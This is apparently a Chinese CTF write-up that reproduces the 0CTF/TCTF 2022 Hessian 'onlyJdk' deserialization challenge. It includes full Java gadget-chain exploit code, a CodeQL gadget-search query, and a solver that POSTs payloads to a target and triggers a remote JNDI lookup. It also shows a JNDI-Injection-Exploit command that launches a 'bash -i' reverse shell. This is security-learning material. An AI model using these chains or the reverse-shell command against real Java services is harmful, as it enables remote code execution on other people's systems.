0ctf/tctf 2022 hessian only jdk 复现和学习
麻了,一个比赛就看了一道题还做不动555
题目的环境和 write up
https://github.com/waderwu/My-CTF-Challenges/tree/master/0ctf-2022/hessian-onlyJdk
简单分析
路由简单粗暴的反序列化点
package com.ctf.hessian.onlyJdk;
import com.caucho.hessian.io.Hessian2Input;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.util.concurrent.Executors;
public class Index {
public static void main(String[] args) throws Exception {
System.out.println("server start");
HttpServer server = HttpServer.create(new InetSocketAddress(8090), 0);
server.createContext("/", new MyHandler());
server.setExecutor(Executors.newCachedThreadPool());
server.start();
}
static class MyHandler implements HttpHandler {
public void handle(HttpExchange t) throws IOException {
String response = "Welcome to 0CTF 2022!";
InputStream is = t.getRequestBody();
try {
Hessian2Input input = new Hessian2Input(is);
input.readObject();
} catch (Exception e) {
e.printStackTrace();
response = "oops! something is wrong";
}
t.sendResponseHeaders(200, response.length());
OutputStream os = t.getResponseBody();
os.write(response.getBytes());
os.close();
}
}
}
然后是 jvmtiagent 指定的类。这里的坑点在于 jdgui 打开这个类不显示包名
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.sun.org.apache.xml.internal.security.utils;
public class JavaUtils {
public JavaUtils() {
}
public static void hello() {
System.out.println("hello");
}
public static void writeBytesToFilename(String var0, byte[] var1) {
System.out.println("writeBytesToFilename");
}
}
ok,这个类寄了
根据题目给了两个CVE,其中 CVE-2021-43297 可以调用任意共有类的toString属性
具体见
https://paper.seebug.org/1814/#_5
但是必须是Public的类
而CVE-2021-21346则是Xstream反序列化的链,具体见
https://m0d9.me/2021/05/10/XStream反序列化详解(二)/
会发现 Base64Data#toString 和 MultiUIDefaults#toString 都可以导致可以命令执行
失败的尝试 -- Base64Data
喜闻乐见的拼链子。上述文章有这么一段话
之前看到过jdk中其实有个toString的利用链:
javax.swing.MultiUIDefaults.toString UIDefaults.get UIDefaults.getFromHashTable UIDefaults$LazyValue.createValue SwingLazyValue.createValue javax.naming.InitialContext.doLookup()
UIDefaults uiDefaults = new UIDefaults(); uiDefaults.put("aaa", new SwingLazyValue("javax.naming.InitialContext", "doLookup", new Object[]{"ldap://127.0.0.1:6666"})); Class<?> aClass = Class.forName("javax.swing.MultiUIDefaults"); Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(UIDefaults[].class); declaredConstructor.setAccessible(true); o = declaredConstructor.newInstance(new Object[]{new UIDefaults[]{uiDefaults}});
经过测试,发现没法使用:
- javax.swing.MultiUIDefaults是peotect类,只能在javax.swing.中使用,而且Hessian2拿到了构造器,但是没有setAccessable,newInstance就没有权限
- 所以要找链的话需要类是public的,构造器也是public的,构造器的参数个数不要紧,hessian2会自动挨个测试构造器直到成功
所以我后来基本上一直在尝试 Base64Data 链。结果就这样和预期解失之交臂。
接下来把 http://tttang.com/archive/1699/#toc_1414 的Base64Data POC 还原成正常的代码
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
<contentType>text/plain</contentType>
<is class='java.io.SequenceInputStream'>
<e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
<iterator class='javax.imageio.spi.FilterIterator'>
<iter class='java.util.ArrayList$Itr'>
<cursor>0</cursor>
<lastRet>-1</lastRet>
<expectedModCount>1</expectedModCount>
<outer-class>
<java.lang.ProcessBuilder>
<command>
<string>calc</string>
</command>
</java.lang.ProcessBuilder>
</outer-class>
</iter>
<filter class='javax.imageio.ImageIO$ContainsFilter'>
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>start</name>
</filter>
<next/>
</iterator>
<type>KEYS</type>
</e>
<in class='java.io.ByteArrayInputStream'>
<buf></buf>
<pos>0</pos>
<mark>0</mark>
<count>0</count>
</in>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</map>
还原后:
package test;
import com.caucho.hessian.io.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data;
import sun.reflect.ReflectionFactory;
import sun.swing.SwingLazyValue;
import java.security.*;
import java.io.SequenceInputStream;
import javax.activation.DataHandler;
import javax.activation.DataSource;
import javax.management.BadAttributeValueExpException;
import javax.swing.*;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.*;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.PrivateKey;
import java.util.*;
//import static javax.swing.MultiUIDefaults.MultiUIDefaultsEnumerator.Type;
//import static javax.swing.MultiUIDefaults.MultiUIDefaultsEnumerator.Type.KEYS;
public class Main {
public static void main(String[] args) throws Exception{
ProcessBuilder processBuilder=new ProcessBuilder("calc");
Object filter=obj("javax.imageio.ImageIO$ContainsFilter");
setValue(filter,"method",Class.forName("java.lang.ProcessBuilder").getDeclaredMethod("start"));
setValue(filter,"name","start");
Iterator iter= (Iterator) obj("java.util.ArrayList$Itr");
// setValue(iter,"this$0",processBuilder);
setValue(iter,"cursor",0);
// setValue(iter,"size",1,);
setValue(iter,"lastRet",-1);
setValue(iter,"expectedModCount",1);
setValue(iter,"lastRet",-1);
Iterator iterator= (Iterator) obj("javax.imageio.spi.FilterIterator");
Field out=iter.getClass().getDeclaredField("this$0");
out.setAccessible(true);
ArrayList a=new ArrayList();
a.add(processBuilder);
// a.add(new ProcessBuilder("calc"));
setValue(iter,"this$0",a);
setValue(iterator,"iter",iter);
setValue(iterator,"filter",filter);
AbstractMap.SimpleEntry entry = new AbstractMap.SimpleEntry<>(obj("java.io.ByteArrayInputStream"), "one");
setValue(iterator,"next",entry);
// setValue(iterator,"next",1);
Enumeration e= (Enumeration) obj("javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator");
Class eClass=Class.forName("javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator");
Field typeField=eClass.getDeclaredFields()[1];
setValue(e,"type", typeField.getType().getEnumConstants()[0]);
setValue(e,"iterator",iterator);
ByteArrayInputStream ips= (ByteArrayInputStream) obj("java.io.ByteArrayInputStream");
setValue(ips,"buf",new byte[0]);
setValue(ips,"pos",0);
setValue(ips,"mark",0);
setValue(ips,"count",0);
SequenceInputStream is= (SequenceInputStream) obj("java.io.SequenceInputStream");
setValue(is,"e",e);
setValue(is,"in",ips);
DataSource dataSource= (DataSource) obj("com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource");
setValue(dataSource,"contentType","text/plain");
setValue(dataSource,"is",is);
setValue(dataSource,"consumed",false);
DataHandler dataHandler=new DataHandler(dataSource);
Base64Data data= (Base64Data) obj("com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data");
setValue(data,"dataHandler",dataHandler);
setValue(data,"data",null);
// data.toString();
// Base64Data data=getBase64Data();
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output hessianOutput1=new Hessian2Output(byteArrayOutputStream);
hessianOutput1.getSerializerFactory().setAllowNonSerializable(true);
hessianOutput1.writeString("aaa");
hessianOutput1.writeObject(data);
hessianOutput1.flushBuffer();
byte[] b=byteArrayOutputStream.toByteArray();
// System.out.println(Base64.getEncoder().encodeToString(b));
deserialize(b);
}
public static Object obj(String s) throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException {
return createWithoutConstructor(Class.forName(s));
}
public static <T> byte[] serialize(T o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(bao);
output.getSerializerFactory().setAllowNonSerializable(true);
output.writeObject(o);
System.out.println(bao.toString());
return bao.toByteArray();
}
public static <T> T deserialize(byte[] bytes) throws IOException {
ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
Hessian2Input input = new Hessian2Input(bai);
Object o = input.readObject();
return (T) o;
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void setValueByClassName(Object obj, String name, Object value,String className) throws Exception{
Field field = Class.forName(className).getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
setAccessible(objCons);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
setAccessible(sc);
return (T)sc.newInstance(consArgs);
}
public static void setAccessible(AccessibleObject member) {
String versionStr = System.getProperty("java.version");
int javaVersion = Integer.parseInt(versionStr.split("\\.")[0]);
if (javaVersion < 12) {
// quiet runtime warnings from JDK9+
// Permit.setAccessible(member);
} else {
// not possible to quiet runtime warnings anymore...
// see https://bugs.openjdk.java.net/browse/JDK-8210522
// to understand impact on Permit (i.e. it does not work
// anymore with Java >= 12)
member.setAccessible(true);
}
}
}
由于我太菜了,写出这个感觉也够呛的,讲一两个遇到的坑点
反射修改外部类属性
触发链中会调用一个内部私有类的方法java.util.ArrayList$Itr#hasNext
private class Itr implements Iterator<E> {
int cursor; // index of next element to return
int lastRet = -1; // index of last element returned; -1 if no such
int expectedModCount = modCount;
Itr() {}
public boolean hasNext() {
return cursor != size;
}
}
其中size属性是外部类ArrayList的。如果这里不指定外部类的话会直接报错寄掉。来看看Xstream POC的写法
<iter class='java.util.ArrayList$Itr'>
<cursor>0</cursor>
<lastRet>-1</lastRet>
<expectedModCount>1</expectedModCount>
<outer-class>
<java.lang.ProcessBuilder>
<command>
<string>calc</string>
</command>
</java.lang.ProcessBuilder>
</outer-class>
</iter>
看不懂....555
调试+google半天发现反射获取到的java.util.ArrayList$Itr#hasNext
fields有一个this$0
指针,把它改成另外创建的ArrayList就好了
Field out=iter.getClass().getDeclaredField("this$0");
out.setAccessible(true);
ArrayList a=new ArrayList();
a.add(processBuilder);
setValue(iter,"this$0",a);
序列化时候的报错
在控制属性javax.imageio.spi.FilterIterator.next
的时候我一开始是这样写的
setValue(iterator,"next",1);
这样的话序列化的时候直接开香槟
动调发现iterator.next()
必须返回Map.Entry<K,V>
key还得是InputStream
所以改成了
AbstractMap.SimpleEntry entry = new AbstractMap.SimpleEntry<>(obj("java.io.ByteArrayInputStream"), "one");
setValue(iterator,"next",entry);
dataSource.is被掉包
把hessian的CVE拼上去
https://y4er.com/posts/wangdingbei-badbean-hessian2/
结果发现反序列化的时候dataSource.is被换成了Hessian2Input$ReadInputStream
感觉基本可以确定是hessian特性,寄
正解
改造 SwingLazyValue 链
回过头来看看SwingLazyValue这条链,发现其实这一部分是可以用的
UIDefaults.get
UIDefaults.getFromHashTable
UIDefaults$LazyValue.createValue
SwingLazyValue.createValue
只需要另外寻找xxx.toString -> HashTable.get 就可以把链子拼完
师傅们似乎都是用的自动化审计。所以这里用codeql复现一下
首先使用的库是
https://lgtm.com/projects/g/openjdk/jdk/?mode=list
这jdk版本鬼知道是哪一个,如果需要指定版本需要自己编译一遍JDK。本来想试试的,但是配个codeql环境浪费了我一整个下午的马原课,直接劝退了呜呜呜
然后改一下这篇文章的链子
https://tttang.com/archive/1511/
注意edge的定义,好像文章的作者并没有体现“上一个对象方法调用了自身属性的下一个方法”...? 稍微改一下
query predicate edges(Method a, Method b) {
a.polyCalls(b)
and
a.getDeclaringType().getAField().getDeclaringType().hasName(b.getDeclaringType().getName())
}
完整ql代码
/**
@kind path-problem
*/
import java
import semmle.code.java.dataflow.FlowSources
class ROMethod extends Method{
ROMethod(){
this.hasName("toString")
}
}
class Source extends Callable {
Source(){
(
this instanceof ROMethod
)
}
}
class GetMethod extends Method {
GetMethod(){
this.hasName("get") and
this.getDeclaringType().getAnAncestor().hasQualifiedName("java.util","Hashtable")
}
}
class DangerousMethod extends Callable {
DangerousMethod(){
this instanceof GetMethod
}
}
class CallsDangerousMethod extends Callable {
CallsDangerousMethod() {
exists(Callable a| this.polyCalls(a) and
a instanceof DangerousMethod )
}
}
query predicate edges(Method a, Method b) {
a.polyCalls(b)
and
a.getDeclaringType().getAField().getDeclaringType().hasName(b.getDeclaringType().getName())
}
from Source source, CallsDangerousMethod sink
where edges+(source, sink)
select source, source, sink, "$@ $@ to $@ $@" ,
source.getDeclaringType(),source.getDeclaringType().getName(),
source,source.getName(),
sink.getDeclaringType(),sink.getDeclaringType().getName(),
sink,sink.getName()
成功跑出了这一个gadget
测试
SwingLazyValue value= new SwingLazyValue("javax.naming.InitialContext", "doLookup", new Object[]{"ldap://127.0.0.1:6666"});
UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put(PKCS9Attribute.CHALLENGE_PASSWORD_OID,value);
Object o=obj("sun.security.pkcs.PKCS9Attributes");
setValue(o,"attributes",uiDefaults);
o.toString();
确实运行到了这里
可控类.可控方法(可控参数)
其实到这一步才是真正的难点。还记得吗,题目ban掉的com.sun.org.apache.xml.internal.security.utils.JavaUtils
是可以任意文件写的。
我们要找到一个public static方法来导致RCE
这里官方的write up总结了几种方法
some interesting staic funtions
MethodUtils.invoke
0ctf-2022-soln-hessian-onlyjdk
System.setProperty + InitalContext.doLookup @福来阁
DumpBytecode.dumpBytecode + System.load @ty1310 @nese
com.sun.org.apache.xalan.internal.xslt.Process._main @福来阁 @Water Paddler
sun.tools.jar.Main.main
writeup @Cyku
System.setProperty + jdk.jfr.internal.Utils.writeGeneratedAsm @StrawHat
Orz....
复现两个个人觉得用得比较通用的方法
System.setProperty + InitalContext.doLookup
典中典了,这也是文章中的方法。因为题目是高版本,如果要完成原生JDK RMI注入需要设置一下系统配置
在
RMI
服务中引用远程对象将受本地Java环境限制即本地的java.rmi.server.useCodebaseOnly
配置必须为false(允许加载远程对象)
,如果该值为true
则禁止引用远程对象。除此之外被引用的ObjectFactory
对象还将受到com.sun.jndi.rmi.object.trustURLCodebase
配置限制,如果该值为false(不信任远程引用对象)
一样无法调用远程的引用对象。
JDK 5U45,JDK 6U45,JDK 7u21,JDK 8u121
开始java.rmi.server.useCodebaseOnly
默认配置已经改为了true
。JDK 6u132, JDK 7u122, JDK 8u113
开始com.sun.jndi.rmi.object.trustURLCodebase
默认值已改为了false
。本地测试远程对象引用可以使用如下方式允许加载远程的引用对象:
System.setProperty("java.rmi.server.useCodebaseOnly", "false"); System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
最先尝试marshalsec搭建的服务器,结果寄了。最后还是
https://github.com/welk1n/JNDI-Injection-Exploit/blob/master/README-CN.md
打通了
起一个反弹shell的服务器
/home/www/htdocs/80/jdk1.8.0_212/bin/java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,xxxxxxxxx}|{base64,-d}|{bash,-i}" -A "ip"
运行POC
package test;
import com.caucho.hessian.io.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data;
import sun.reflect.ReflectionFactory;
import sun.security.pkcs.PKCS9Attribute;
import sun.security.pkcs.PKCS9Attributes;
import sun.swing.SwingLazyValue;
import java.io.*;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
import java.security.*;
import javax.activation.DataHandler;
import javax.activation.DataSource;
import javax.management.BadAttributeValueExpException;
import javax.swing.*;
import javax.xml.transform.Templates;
import java.lang.reflect.*;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.PrivateKey;
import java.util.*;
public class Solve {
static final String targetUrl="http://192.168.238.165:8090/";
public static void main(String[] args) throws Exception {
exec("java.lang.System","setProperty",new String[]{"java.rmi.server.useCodebaseOnly","false"});
exec("java.lang.System","setProperty",new String[]{"com.sun.jndi.rmi.object.trustURLCodebase","true"});
exec("java.lang.System","setProperty",new String[]{"com.sun.jndi.ldap.object.trustURLCodebase","true"});
exec("javax.naming.InitialContext","doLookup",new String[]{"rmi://xxxx:1099/4metkg"});
}
public static void exec(String className,String methodName,Object[] args) throws Exception{
SwingLazyValue value= new SwingLazyValue(className, methodName, args);
UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put(PKCS9Attribute.CHALLENGE_PASSWORD_OID,value);
Object o=obj("sun.security.pkcs.PKCS9Attributes");
setValue(o,"attributes",uiDefaults);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output hessianOutput1=new Hessian2Output(byteArrayOutputStream);
hessianOutput1.getSerializerFactory().setAllowNonSerializable(true);
hessianOutput1.writeString("aaa");
hessianOutput1.writeObject(o);
hessianOutput1.flushBuffer();
byte[] b=byteArrayOutputStream.toByteArray();
post(b);
}
public static void post(byte[] b) throws Exception{
URL url=new URL(targetUrl);
HttpURLConnection con = (HttpURLConnection) url.openConnection();
con.setRequestMethod("POST");
con.setDoOutput(true);
try(OutputStream os = con.getOutputStream()) {
os.write(b);
}
BufferedReader in = new BufferedReader(
new InputStreamReader(con.getInputStream()));
String inputLine;
StringBuffer content = new StringBuffer();
while ((inputLine = in.readLine()) != null) {
content.append(inputLine);
}
in.close();
System.out.println(content.toString());
}
public static Object obj(String s) throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException {
return createWithoutConstructor(Class.forName(s));
}
public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
setAccessible(objCons);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
setAccessible(sc);
return (T)sc.newInstance(consArgs);
}
public static void setAccessible(AccessibleObject member) {
String versionStr = System.getProperty("java.version");
int javaVersion = Integer.parseInt(versionStr.split("\\.")[0]);
if (javaVersion < 12) {
// quiet runtime warnings from JDK9+
// Permit.setAccessible(member);
} else {
// not possible to quiet runtime warnings anymore...
// see https://bugs.openjdk.java.net/browse/JDK-8210522
// to understand impact on Permit (i.e. it does not work
// anymore with Java >= 12)
member.setAccessible(true);
}
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}